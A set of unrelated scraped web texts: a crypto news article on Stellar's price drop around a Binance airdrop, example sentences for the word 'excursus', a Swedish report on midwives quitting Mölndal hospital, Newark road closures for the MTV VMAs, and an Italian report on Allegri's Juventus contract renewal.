In mid-July, Binance announced support for both Stellar (XLM) staking and airdrop rewards. Despite Binance planning to distribute some 9,500,000 XLM tomorrow, the price of XLM has plummeted some -52% since the announcement. Despite the long-awaited Stellar airdrop on Binance happening tomorrow, things are not looking good for Stellar by any metric. In fact, among all the leading cryptocurrencies, Stellar posted the worst losses in 2019 thus far. Two weeks ago, we reported that XLM was down -38.11% since the start of the year. Since then, this has only gotten worse. From the Binance announcement in July to now, the cryptocurrency is down some -52%. A Surprise Stellar Drop In mid-July, XLM was trading at around the $0.125 mark. Now, at the time of writing, it is oscillating around the $0.06 price point. This spectacular decline has happened in just over a month. Trade cryptocurrencies like Stellar at the world’s largest exchange by volume, Binance, and help out BeInCrypto in the process. Many were hoping that the Binance announcement would provide one of the leading cryptocurrencies with some relief. The exchange announced then that it would be supporting Stellar staking on its platform, meaning that users could store their XLM on Binance for monthly rewards. Moreover, the exchange would also be airdropping all of the rewards it has earned, with some 9,500,000 XLM set to be distributed to those holding at least 10 XLM in their wallet. However, this $589,000 airdrop did not seem to convince the market, as the price continues to tumble. Stellar’s New Approach The thought was that Binance staking the asset along with its airdrop would apply positive price pressure from July through August. It was intended to incentivize holders. However, with Bitcoin on shaky indicators, XLM has taken the worst hit in the top 20 cryptocurrencies. Last week, Stellar also tried to reorganize its marketing strategy with the launch of a new website. However, the market seemed to not respond and the response was lukewarm at best. It seems that Stellar will have to further realize adoption and actual use-case if it wishes to retain its spot as a leading cryptocurrency. For now, investors are left burned and wondering if they will have a suitable exit in the near future. Why do you believe XLM is performing so exceptionally poorly in this market? Let us know your thoughts below in the comments. Buy and trade cryptocurrencies with a 100x multiplier on our partner exchange, StormGain.

Casaubon's mind was more alert, and he seemed to anticipate what was coming after a very slight verbal indication, saying, "That will do--mark that"--or "Pass on to the next head--I omit the second excursus on Crete." Dorothea was amazed to think of the bird-like speed with which his mind was surveying the ground where it had been creeping for years. Deane, when he expected to take his wine alone, would tell Tom to step in and sit with him an hour, and would pass that hour in much lecturing and catechising concerning articles of export and import, with an occasional excursus of more indirect utility on the relative advantages to the merchants of St. It's not every verbal stunt pilot that can bring a mid-novel excursus about the differences between Webster's Second and Third editions to a safe landing. But now old Schmidt readjusted some inner machinery, cleared his throat and began a meandering excursus on the poor quality of Youth Today, with animadversions on the importance of respect for authority as the foundation of a democratic society. Rather, I alert readers to their new excursus into literature. This, his first book, is a combination of political pamphlet, theoretical excursus , and empirical analysis that established a foundation for the ideology of the Zionist Socialist Workers' Party. He also makes use of the excursus : detailed examples are contained in a big text box (sometimes lasting pages), easily visible so that one can either read it or carry on with the main body of the book. Junto a estas cuestiones, el autor introduce varios excursus como, por ejemplo, el de la absoluta distincion entre el Creador y la creacion. Torrance's reinterpretation of divine monarchy and his suggestion that the Spirit proceeds from the Trinity as a whole (35); Theodorus Alexopoulos's excursus into the late Byzantine theology of Nikephoros Blemmydes and Gregory of Cyprus retrieves their notion of the Spirit's eternal manifestation through the Son (82-83); and finally, Thomas Weinandy argues that the Spirit plays a part in the generation of the Son (196-97).

Det är med stor sorg om Helena Isaksson väljer att lämna förlossningsvården och Mölndals sjukhus, som hon hyser en djup kärlek för. Situationen har blivit ohållbar, menar hon. – I dag känns det som att man skulle behöva klona sig för att klara av den pressen som vi har inom förlossningsvården. Mig veterligen så kan man inte det ännu. En för liten personalstyrka med en övermänsklig arbetsbörda och en sjukhusledning som konsekvent vägrar lyssna på sina anställda håller på att driva både personalen och verksamheten in i väggen, menar hon. – Det känns som att jag inte kan göra ett bra arbete utifrån förutsättningarna. Man blir tvingad att jobba nätter utan kompensation i form av arbetstidsförkortning. När vi pratar nattarbete på förlossningen så är det inte som någon annan vårdavdelning där patienterna sover utan det är tio timmars arbetspass med lika många timmars aktivt arbete hela tiden, säger Helena Isaksson till GT. – Det är djupt frustrerande att veta att vi hade kunnat ge patienterna en så mycket bättre vård, fortsätter hon. "Man ser inte till kompetens" Sjukhusledningen vill inom tio år att all förlossningsvård ska ske på Östra sjukhuset, enligt Helena Isaksson. Ett huvudlöst mål, menar hon. – Jag kan inte förstå att Sveriges näst största stad ska behöva köra ihop sina 10 000 förlossningar på ett år i ett och samma hus. Det skapar varken trygghet eller kvalitet. Det kommer bli en förlossningsfabrik. Förlossningsvård är inte som att producera Volvobilar. Det känns inhumant. Som en nödvändig konsekvens av situationen säger Helena Isaksson nu upp sig. Bara den senaste månaden har mer än var tionde barnmorska på Mölndals sjukhus fattat samma slutgiltiga beslut. En av dem är också Ulla Henricsson Petersson som slutade 2012. – Jag har sett klart och tydligt hur det har försämrats. Jag hade aldrig orkat den takten som de måste jobba i, i dag. De har nästan gått på knäna så som de har slitit, berättar hon och tillägger: – Problemet är att det inte satsas på barnmorskornas arbete, det är för lite personal. Ulla Henricsson Petersson säger också att hon hört planer på att flytta förlossningsvården, men tycker att alla mammor ska ha rätt till en kontinuerlig vård – något som i nuläget inte går att säkerställa, menar hon. – Man ser inte till kompetens och jag såg klart och tydligt att barnmorskorna inte orkade arbeta i den takten som de måste jobba i, säger hon. "Sjukhuset lyssnar inte" GT har i flera dagar sökt ansvarig person på avdelningen, men har inte blivit uppringda som utlovat. I stället säger flera andra chefer på sjukhuset att personen är på möte, eller ska ringa upp senare. Helena Isaksson hoppas i alla fall att det blir en ändring. Själv mår hon inte speciellt bra. – Jag känner att jag är på väg att gå in i våggen. Förhoppningsvis hinner jag dra i nödbromsen innan den kommer farande, säger Helena Isaksson, som den senaste tiden mått väldigt dåligt. – Jag har inte kunnat sova ordentligt, jag har haft en stor klump i magen. Jag var tvungen att vara hemma en vecka för ett par veckor sedan för att jag fick ett tryck över bröstet som inte släppte. Vi har signalerat om den här situationen till ledningen i flera år men framför allt det sista året väldigt, väldigt tydligt. Men det känns inte som att de lyssnar.

Crews began preparations Friday for MTV’s Video Music Awards at Newark’s Prudential Center, where more than 20,000 people will storm into the city on Monday. Newark’s Public Safety Director, Anthony Ambrose, warns the show could gridlock streets, much like last Nov. 15’s rush-hour ‘Snowmageddon,’ a traffic jam that caused chaos among commuters. A lack of preparedness by state officials was blamed for the incident. Hoping to avoid a repeat, Ambrose will mobilize the Office of Emergency Management and plans to put at least 375 city cops on duty, as well as federal, state and county agents. He expects 14,000 to 15,000 ticket-holders will pack the venue and up to 7,500 more star-struck fans will crowd around for a glimpse of celebrities, all part of the spectacle. Newark Police aim to have most right-of-ways around the Prudential Center closed to traffic by 10 a.m. Monday until 2 a.m. Tuesday. Ambrose urged people attending the event to rely on NJ Transit. “This event ends at 10:45. They assured the administration that there will be extra trains, and they will go later,” said Ambrose. NJ Transit will add just one extra train, at 11:30 p.m., from Newark Penn Station to New York. On Friday, NJ’s statewide transit tweeted out a warning to customers, speculating that Penn Station New York, Secaucus Junction and Newark Penn Station will all likely see a bevy of new rail riders. Due to traffic congestion resulting from the VMAs, Newark will be experiencing several road closures. Stay informed about alternative routes with street closure information below. Sunday, August 25th, from 1 to 8 p.m. • Mulberry Street between Market Street and Lafayette Street Monday, August 26th, from 8:30 to 2 a.m. • Mulberry Street, from Lafayette Street to Market Street • Franklin Street Monday, August 26th, from 10:30 to 2 a.m. (Extended Street Closure) • Mulberry Street, from Raymond Boulevard and Green Street Monday, August 26th, from 10 to 2 a.m. • Market Street between Washington Street and McCarter Highway • Edison Place between Broad Street and McCarter Highway Lane closure information follows: Monday, August 26th, from 4 p.m. to 2 a.m. • Bus lane and northbound lane of traffic on Broad Street, from Green Street to Market Street Monday, August 26th, from 10 to 2 a.m. • Westbound lane of traffic on Lafayette Street, from McCarter Highway to Broad Street

Massimiliano Allegri ha firmato il rinnovo di contratto con la Juventus, un accordo che lo vedrà sulla panchina della Juventus fino al 2020. Decisivo l'incontro nella sede bianconera a Torino: dopo la riunione con Marotta e Agnelli e il pranzo, nel primo pomeriggio è arrivato l'annuncio. Allegri ha firmato fino al 30 giugno 2020, con un aumento di ingaggio: nella prossima stagione 5,5 milioni più bonus, poi salirà ogni anno fino ai 7 del 2019/2020. L'annuncio è arrivato al termine del vertice di questa mattina nella sede di Corso Galileo Ferraris tra l'allenatore, il presidente Andrea Agnelli e l'amministratore delegato Beppe Marotta. Dal suo arrivo a Torino nel luglio 2014 il tecnico toscano ha vinto tre scudetti, tre Coppe Italia e una Supercoppa Italiana. Con Allegri alla guida la Juve ha vinto 97 partite tra campionato, Coppa Italia e Supercoppa. In Serie A, gli 84 successi e i 17 pareggi su 114 gare si traducono in 269 punti totali, con una media di 2.36 a partita. Inizialmente si pensava che il prolungamento fosse fino al 2019, invece è arrivato l'accordo fino al 2020. Felice di proseguire il percorso insieme: costruiamo le fondamenta per riprovarci! @juventusfc #finoal2020 — Massimiliano Allegri (@OfficialAllegri) 7 giugno 2017 IL COMUNICATO DELLA JUVENTUS Ora è ufficiale: Massimiliano Allegri ha rinnovato il suo rapporto con la Juventus fino al 30 giugno 2020. Un rapporto che, dal giorno del suo arrivo, nel luglio del 2014, ha permesso alla squadra di continuare il suo percorso di crescita in Italia, iniziato tre anni prima, e consolidare sempre di più la sua posizione di top team europeo. In questo caso non c'è niente di meglio che lasciar parlare i dati: sotto la sua guida la Juventus in Italia ha vinto tre Scudetti, tre Coppe Italia e una Supercoppa Italiana, ha quindi riscritto la storia del calcio italiano, arrivando a sei Scudetti consecutivi e tre Coppe nazionali una in fila all'altra: una triplice doppietta mai vista nel nostro Paese. I numeri dicono anche che con Allegri alla guida, la Juve ha vinto 97 partite tra campionato, Coppa Italia e Supercoppa. In Serie A, gli 84 successi e i 17 pareggi su 114 gare si traducono in 269 punti totali, con una media di 2.36 a partita. E poi l'Europa, dove la Juventus con due finali di Champions League in tre stagioni e il quinto posto nel ranking UEFA è ormai una delle realtà più accreditate. La Juve ha vissuto, in questi anni, molti rinnovamenti, piccole rivoluzioni a livello tecnico. Allegri, Panchina d'Oro lo scorso anno non a caso, ha saputo interpretarli, leggerli, guidarli. Due esempi per tutti, in questi tre anni: l'incredibile rimonta dei bianconeri nella stagione 2015/16, iniziata con il Derby del novembre 2015 e culminata con il Tricolore, e il cambio di modulo di qualche mese fa, con il quale il Mister è riuscito a valorizzare a pieno il potenziale tecnico della Juventus, con una decisione delle sue: coraggiosa, spiazzante, intelligente. In altre parole, la Juve e Allegri sono cresciuti insieme. Stanno continuando a farlo. E continueranno ancora.